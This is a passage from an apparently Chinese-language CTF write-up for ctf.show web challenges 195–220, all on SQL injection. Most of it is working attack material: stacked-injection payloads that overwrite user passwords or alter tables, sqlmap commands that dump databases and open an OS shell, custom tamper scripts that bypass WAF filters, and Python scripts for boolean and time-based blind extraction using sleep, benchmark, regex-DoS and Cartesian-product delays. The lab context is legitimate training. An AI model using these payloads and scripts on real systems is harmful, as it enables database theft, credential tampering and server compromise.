# 'username': f"0'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{j},1))='{k}',1,0)#",
# 'password': '1'
# }
# 查列名
# data = {
# 'username': f"0'||if((mid((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flxg'),{j},1))='{k}',1,0)#",
# 'password': '1'
# }
# 查具体字段
data = {
'username': f"0'||if((lpad((select f1ag from ctfshow_flxg),{j}))='{out+k}',1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += k
print(out)
breakweb195
查询语句 //拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username};"; 返回逻辑 //密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; } //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
没过滤分号,ban掉了select、union使得联合查询之类的不可用了,可以利用分号,进行堆叠注入。
Payload:
1;update(ctfshow_user)set`username`=233,`pass`=233;
->分号分隔语句,有前面可知ctfshow_user表,直接update覆盖用户密码
反引号 ` ` 用于避免字段名与 SQL 关键字冲突SQL UPDATE 语句
UPDATE 语句用于更新表中已存在的记录。
SQL UPDATE 语法
UPDATE table_name SET column1 = value1, column2 = value2, ...WHERE condition;
参数说明:
table_name:要修改的表名称。
column1, column2, ...:要修改的字段名称,可以为多个字段。
value1, value2, ...:要修改的值,可以为多个值。
condition:修改条件,用于指定哪些数据要修改。
web196
查询语句 //拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username};"; 返回逻辑 //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } if(strlen($username)>16){ $ret['msg']='用户名不能超过16个字符'; die(json_encode($ret)); } if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
看了别的师傅wp,还是没想明白为什么对select的过滤没生效
Payload:
1;select(1);
password传入1
# select()里面放什么数字,就会返回什么数字,然后丢进$row[0],最后就变成1==$passwordweb197
查询语句 //拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username};"; 返回逻辑 //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
把长度限制去了,select是真正的不可用了
Payload:
1;show tables;依题可知,存在一个表名“ctfshow_user”的表,那么执行show tables回显的结果必然在某一行出现“ctfshow_user”
web198
查询语句 //拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username};"; 返回逻辑 //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
把setban了,可以用insert来插入覆盖
此处还过滤了
creat和drop,这俩函数一个创建一个删,上题能删掉表内容在创建新内容达到覆盖效果?🧐
Payload:
1;insert ctfshow_user(username,pass) value(233,233)另解:
思路主要是利用alter函数,把id和密码互换,密码我们不知道,但是id是数字,于是就可以进行爆破
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/6/15 22:53
# blog: www.wlhhlc.top
import requests
url = "http://e36a9275-a8a8-4def-bce5-0988a2b9b81d.challenge.ctf.show:8080/api/"
payload = '0x61646d696e;alter table ctfshow_user change column `pass` `dotast` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `dotast` `id` varchar(255);'
data1 = {
'username': payload,
'password': '1'
}
res = requests.post(url=url, data=data1)
for i in range(99):
data2 = {
'username': "0x61646d696e",
'password': f'{i}'
}
res2 = requests.post(url=url, data=data2)
if "flag" in res2.json()['msg']:
print(res2.json()['msg'])
breakweb199
查询语句 //拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username};"; 返回逻辑 //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
用197同款方法打
web200
查询语句 //拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username};"; 返回逻辑 //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } if($row[0]==$password){ $ret['msg']="登陆成功 flag is $flag"; }
还是用197的方法打
web201
使用--user-agent 指定agent
使用--referer 绕过referer检查
源码里有传参逻辑,url/api?id=get传参

顺手去cp了下refer:https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/
这里用到的,sqlmap参数>
--user-agent:伪造ua头
--referer:伪造Referer头
这里ua头不用设置,因为这里就是需要sqlmap的ua头,常用--random-agent来随机ua头
referer头去
url/sqlmap.php掏一个就行
Payload:
查出sql库类型
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" --batch
# --batch 自动选择
查库
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" --dbs --batch
查表 # -D指定库
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" -D ctfshow_web --tables --batch
查列 # -T指定表
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user --columns --batch
查字段 # --dump转存数据
python sqlmap.py -u "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/api?id=1" --referer "https://d0d91528-15eb-4087-b9fb-1fdb93f9b77f.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batchweb202
使用--data 调整sqlmap的请求方式
这里要用POST传参,上题的refer头和ua头依旧需要使用
Payload:
python sqlmap.py -u "https://4ff0c8ea-a28c-41f6-93c3-9ecb120d3bee.challenge.ctf.show/api" --data "id=1" --referer "https://4ff0c8ea-a28c-41f6-93c3-9ecb120d3bee.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batchweb203
使用--method 调整sqlmap的请求方式
要用--method来打,说明需要用PUT方法了
这里跑了好几次都报错,看别的师傅的wp发现需要加上
--headers="Content-Type: text/plain",否则是按表单提交,PUT接收不到信息,此处还需要在url/api/后加上index.php0.o
Payload:
python sqlmap.py -u "https://a2419931-cc4a-418e-b365-83680956af53.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://a2419931-cc4a-418e-b365-83680956af53.challenge.ctf.show/" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batchweb204
使用--cookie 提交cookie数据
直接去url/apif12把cookie全复制下来是最快的
Payload:
python sqlmap.py -u "https://96aa4d23-7781-47a3-93ef-5b2ac2fc7949.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://96aa4d23-7781-47a3-93ef-5b2ac2fc7949.challenge.ctf.show/" --cookie "PHPSESSID=8euuf13dfl72utkpc2bp9pl6ad; ctfshow=eca0216c3cf8eaad7e483da5fdbe829d" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batchweb205
api调用需要鉴权
这里说到要鉴权,正常输入id查询看看怎么个事

原来是每次查询前会跳到url/gerToken.php拿个cookie
--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下
--safe-freq 提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数Payload:
python sqlmap.py -u "https://96ce6c49-ea06-4c5a-97df-209a5cab38d2.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://96ce6c49-ea06-4c5a-97df-209a5cab38d2.challenge.ctf.show" --cookie "PHPSESSID=2i2702v07lfg5kut2lr9tluqhe" --safe-url="https://96ce6c49-ea06-4c5a-97df-209a5cab38d2.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump --batch注意这里flag换了个表存
web206
sql需要闭合
其实这个提示没啥用的,sqlmap会自己测闭合,手测发现还是会鉴权,上题payload接着用就行
Payload:
python sqlmap.py -u "https://cd1b7631-8419-4a3d-bd90-e5dfcee58eb3.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://cd1b7631-8419-4a3d-bd90-e5dfcee58eb3.challenge.ctf.show" --cookie "PHPSESSID=ju4jc3md25ogn0avipvode6e9j" --safe-url="https://cd1b7631-8419-4a3d-bd90-e5dfcee58eb3.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv,id,tes --dump --batchweb207
--tamper 的初体验
//对传入的参数进行了过滤 function waf($str){ return preg_match('/ /', $str); }
先来了解sqlmap中的--tamper功能,tamper功能使得sqlmap能够对waf进行绕过,其本身自带有部分绕waf脚本,功能如下:
同时 ,我们还能按照tamper的模板来修改脚本内容,针对不同题目要求进行绕过,此处暂不展开
题目过滤了空格,这里用space2comment.py (用/**/代替空格)来绕过
Payload:
python sqlmap.py -u "https://dcf40ec2-4b7a-46e9-bf4d-63b095379b5e.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://dcf40ec2-4b7a-46e9-bf4d-63b095379b5e.challenge.ctf.show" --cookie "PHPSESSID=4dq83pvgu88j7rumb27kik9im4" --safe-url="https://dcf40ec2-4b7a-46e9-bf4d-63b095379b5e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py -D ctfshow_web -T ctfshow_flaxca -C flagvc,id,tes --dump --batchweb208
--tamper 的2体验
//对传入的参数进行了过滤 // $id = str_replace('select', '', $id); function waf($str){ return preg_match('/ /', $str); }
tamper可以调用多个绕过脚本,这里会把select置换为空,这里用randomcase.py(随机大小写)
Payload:
python sqlmap.py -u "https://deec8e53-8c37-4c30-9a99-372abc46508b.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://deec8e53-8c37-4c30-9a99-372abc46508b.challenge.ctf.show/" --cookie "PHPSESSID=dbtb17i7bloe6vnpff17ls81rs" --safe-url="https://deec8e53-8c37-4c30-9a99-372abc46508b.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper space2comment.py,randomcase.py -D ctfshow_web -T ctfshow_flaxcac -C flagvca,id,tes --dump --batchweb209
--tamper 的3体验
//对传入的参数进行了过滤 function waf($str){ //TODO 未完工 return preg_match('/ |\*|\=/', $str); }
等号被ban了可用equaltolike.py(=替换like),但是空格这里被过滤了,也没有星号,注释绕过行不通,这里貌似没有能替换,这里用space2comment.py作为模板,修改一下,用来打这一题(这里动空格过滤的同时,把等于号也改动了,只需要引用这个文件即可)
#!/usr/bin/env python
"""Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
""" Replaces space character (' ') with comments '/**/' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users' """retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x9)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
# =换成like
elif payload[i] == '=':
retVal += chr(0x9) + 'like' + chr(0x9)
continue
# 空格换成%09
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x9)
continue
retVal += payload[i]
return retValPayload:
python sqlmap.py -u "https://b9078185-264c-4c49-90a9-1e611ff27952.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://b9078185-264c-4c49-90a9-1e611ff27952.challenge.ctf.show/" --cookie "PHPSESSID=evn4h59knk8u6ico477d4ddaov" --safe-url="https://b9078185-264c-4c49-90a9-1e611ff27952.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web209.py -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx,id,tes --dump --batchweb210
--tamper 的4体验
//对查询字符进行解密 function decode($id){ return strrev(base64_decode(strrev(base64_decode($id)))); }
其实是套了两层base64和翻转,这个解密过程是:base64->翻转->base64->翻转
所以我们的加密应该是:翻转->base64->翻转->base64
预设的tamper里有个base64encode.py,可以改一改拿来用
改一下得到tamper用到的脚本:
#!/usr/bin/env python
"""Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)See the file 'LICENSE' for copying permission"""
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
""" Base64-encodes all characters in a given payload >>> tamper("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' """return encodeBase64(encodeBase64(payload[::-1], binary=False)[::-1], binary=False) if payload else payloadPayload:
python sqlmap.py -u "https://d61e433b-4aed-4d16-856f-d38e86f95de8.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://d61e433b-4aed-4d16-856f-d38e86f95de8.challenge.ctf.show/" --cookie "PHPSESSID=p5u32mj7b1uf0mb0sq0dekol7d" --safe-url="https://d61e433b-4aed-4d16-856f-d38e86f95de8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web210.py -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx,id,tes --dump --batchweb211
--tamper 的5体验
//对查询字符进行解密 function decode($id){ return strrev(base64_decode(strrev(base64_decode($id)))); } function waf($str){ return preg_match('/ /', $str); }
加密逻辑同上题,多了个空格过滤,对上题脚本稍作修改
#!/usr/bin/env python
"""Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)See the file 'LICENSE' for copying permission"""
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
""" Base64-encodes all characters in a given payload >>> tamper("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' """return encodeBase64(encodeBase64(payload[::-1].replace(' ', chr(0x09)), binary=False)[::-1], binary=False) if payload else payloadPayload:
python sqlmap.py -u "https://250ef957-5322-4c1e-ad85-075b192964bd.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://250ef957-5322-4c1e-ad85-075b192964bd.challenge.ctf.show/" --cookie "PHPSESSID=rahllt88gupk9g2qoq4ejut7q7" --safe-url="https://250ef957-5322-4c1e-ad85-075b192964bd.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web211.py -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa,id,tes --dump --batchweb212
--tamper 的6体验
//对查询字符进行解密 function decode($id){ return strrev(base64_decode(strrev(base64_decode($id)))); } function waf($str){ return preg_match('/ |\*/', $str); }
新增了星号过滤,但是联合查询貌似不需要星号吧o.0,上一题脚本直接可以打
Payload:
python sqlmap.py -u "https://0ef3df59-b9e9-4d30-80de-f9bc0636f1e1.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://0ef3df59-b9e9-4d30-80de-f9bc0636f1e1.challenge.ctf.show/" --cookie "PHPSESSID=30uqjjuhpe0d85o7gmjgs3mj22" --safe-url="https://0ef3df59-b9e9-4d30-80de-f9bc0636f1e1.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web211.py -D ctfshow_web -Tctfshow_flavis -C ctfshow_flagxxa,id,tes --dump --batchweb213
练习使用--os-shell 一键getshell
//对查询字符进行解密 function decode($id){ return strrev(base64_decode(strrev(base64_decode($id)))); } function waf($str){ return preg_match('/ |\*/', $str); }
上一题的脚本仍然可用,但是flag不在表里了,需要用--os-shellgetshell了
Payload:
python sqlmap.py -u "https://87a73f65-3fb9-41bf-8fd5-a55fbd2fc4e2.challenge.ctf.show/api/index.php" --method=PUT --data "id=1" --headers="Content-Type: text/plain" --referer "https://87a73f65-3fb9-41bf-8fd5-a55fbd2fc4e2.challenge.ctf.show/" --cookie "PHPSESSID=6q7ve32dcut6ik038kkubm94id" --safe-url="https://87a73f65-3fb9-41bf-8fd5-a55fbd2fc4e2.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper web211.py --os-shell --batch
# getshell之后
os-shell> cat /ctfshow_flagweb214
开始基于时间盲注

注入点在这个ip处,往url/api发POST,内容是ip=if(1,sleep(5),0)&debug=1,可以发现网页成功sleep了
二分法盲注脚本:
"""
Author:Y4tacker
"""
import requests
url = "http://d23ee9e9-3e43-4b0a-b172-547561ea456d.chall.ctf.show/api/"
result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字-id.flag
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
# 查数据
payload = "select flaga from ctfshow_flagx"
data = {
'ip': f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1)",
'debug':'0'
}
try:
r = requests.post(url, data=data, timeout=1)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
web215
/用了单引号
加上了单引号闭合 稍微改一改上题脚本
"""Author:Y4tacker"""
import requests
url = "http://58fedc0e-77e9-4603-9752-c9f6e444cec7.challenge.ctf.show/api/"
result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字-id.flag
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'"
# 查数据
payload = "select flagaa from ctfshow_flagxc"
data = {
'ip': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1) and '1'='1",
'debug':'0'
}
try:
r = requests.post(url, data=data, timeout=1)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)web216
查询语句
where id = from_base64($id);
这里解码的其实是查询内容,也就是查询语句“=”后接的内容,但是我们的payload在闭合符号之后,所以只需要在闭合的引号前面换成base64编码的文本即可
"""
Author:Y4tacker
"""
import requests
url = "http://48fe6e0c-bb44-48e7-b0a0-18c33c7cfffa.challenge.ctf.show/api/"
result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字-id.flag
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'"
# 查数据
payload = "select flagaac from ctfshow_flagxcc"
data = {
'ip': f"'MQ==') or if (ascii(substr(({payload}),{i},1))>{mid},sleep(1),1",
'debug':'0'
}
try:
r = requests.post(url, data=data, timeout=1)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
web217
查询语句 where id = ($id); 返回逻辑 //屏蔽危险分子 function waf($str){ return preg_match('/sleep/i',$str); }
这里sleep被过滤了,换成benchmark函数,该函数用于测试函数或表达式的执行速度
BENCHMARK(loop_count, expression)
loop_count:指定表达式需要重复执行的次数。
expression:要执行的表达式。
debug=1&ip=benchmark(3000000,md5('1'))响应时间大概花了3s,类似于sleep(3)
1million≈1s

不太稳定,这里收集了两位师傅的脚本
# @author:Myon
# @time:20240813
import requests
import string
url = 'http://6f8c19e2-81c7-4dbc-990c-aa3e3666e54f.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
for j in range(1, 50):
for k in dic:
# payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',benchmark(3000000,md5('myon')),0)"} # 猜数据库名
# payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxccb'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"} # 猜列名
payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxccb), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"} # 跑flag
re = requests.post(url, data=payload)
if re.elapsed.total_seconds() > 2:
out += k
break
print(out)"""
Author:Y4tacker
"""
import requests
url = "http://6e7c94f3-c90b-4e61-9058-b4c0655f7978.challenge.ctf.show/api/"
result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字-id.flag
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'"
# 查数据
payload = "select flagaac from ctfshow_flagxcc"
data = {
'ip': f"'MQ==') or if (ascii(substr(({payload}),{i},1))>{mid},sleep(1),1",
'debug':'0'
}
try:
r = requests.post(url, data=data, timeout=1)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
web218
查询语句 where id = ($id); 返回逻辑 //屏蔽危险分子 function waf($str){ return preg_match('/sleep|benchmark/i',$str); }
benchmark都没了,考虑正则DOS RLIKE注入
延时原理,利用SQL多次计算正则消耗计算资源产生延时效果,其实原理是和我们的
benchmark注入差不多的。
但是这种方式受环境影响较大,跑着跑着的过程出现了时延不太稳定的情况
import time
import requests
url = "http://e8f340af-d5ca-40bf-ad36-c5b1a7bbb0e9.challenge.ctf.show/api/"
bypass = """(concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b')"""
# payload = "1) or if(ascii(substr((select database()),{0},1))>{1},{2},0)-- +"
# payload = "1) or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1))>{1},{2},0)-- +"
# payload = "1) or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxc'),{0},1))>{1},{2},0)-- +"
payload = "1) or if(ascii(substr((select group_concat(id,'---',flagaac)from ctfshow_flagxc),{0},1))>{1},{2},0)-- +"
flag = ''
for i in range(1,100):
high = 128
low = 32
mid = (high+low)//2
while(high>low):
payload1=payload.format(i,mid,bypass)
# print(payload1)
# print(payload1)
data = {
'ip':payload1,
'debug':0
}
start_time=time.time()
re = requests.post(url=url,data=data)
end_time=time.time()
subtime=end_time-start_time
# print(subtime)
if subtime > 0.9:
low=mid+1
else:
high=mid
mid=(low+high)//2
if(chr(mid)==" "):
break
flag+=chr(mid)
print(flag)# @author:Myon
# @time:20240814
import requests
import string
from time import *
url = 'http://e8f340af-d5ca-40bf-ad36-c5b1a7bbb0e9.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike concat(repeat('(a.*)+',6),'b')"
for j in range(1, 50):
for k in dic:
sleep(0.2) # 遍历每个字符前延时0.2s
# payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',{delay},0)"} # 猜数据库名
# payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',{delay},0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',{delay},0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',{delay},0)"} # 猜列名
payload = {'debug': '1',
'ip': f"if(substr((select flagaac from ctfshow_flagxc), {j}, 1) = '{k}',{delay},0)"} # 跑flag
try:
re = requests.post(url, data=payload)
if re.elapsed.total_seconds() > 0.8:
out += k
break
except:
out += k
break
print(out)
sleep(1) # 猜对一个字符延时1sweb219
查询语句 where id = ($id); 返回逻辑 //屏蔽危险分子 function waf($str){ return preg_match('/sleep|benchmark|rlike/i',$str); }
rlike被过滤了,可以用regexp代替,只需要将上题脚本中的rlike替换成regexp即可
这里了解一下笛卡尔积的解法
笛卡尔积(因为连接表是一个很耗时的操作)
AxB=A和B中每个元素的组合所组成的集合,就是连接表
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;这里以逗号连接,abcd可以一直写下去,写得越多查询的速度就越慢,造成的时延也越大,如果表、列数量少,则可以多写一些元素,把时延拉长些
这里需要手测一下延迟,环境不同延迟也有差异,这里连接三个元素题目就炸缸了我,我的环境大概是0.3s的时延
# @author:Myon
# @time:20240814
import requests
import string
url = 'http://af0a2faf-1b8e-4da9-90b7-c49dbaf3eabd.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
for j in range(1, 50):
for k in dic:
# payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜数据库名
# payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜列名
payload = {'debug': '1',
'ip': f"if(substr((select flagaabc from ctfshow_flagxca), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 跑flag
re = requests.post(url, data=payload)
if re.elapsed.total_seconds() > 0.31:
out += k
break
print(out)web220
查询语句 where id = ($id); 返回逻辑 //屏蔽危险分子 function waf($str){ return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str); }
这一次用到的脚本,利用%作为通配符来爆破,避免使用ascii
# @author:Myon
# @time:20240814
import requests
import string
url = 'http://3bf69c20-538d-473d-a4da-93a2b23588a1.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
for j in range(1, 50):
for k in dic:
# payload = {'debug':'1','ip':f"if(database() like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜数据库名
# payload = {'debug': '1', 'ip': f"if((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1) like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜表名
# payload = {'debug': '1','ip': f"if((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"} # 猜表名
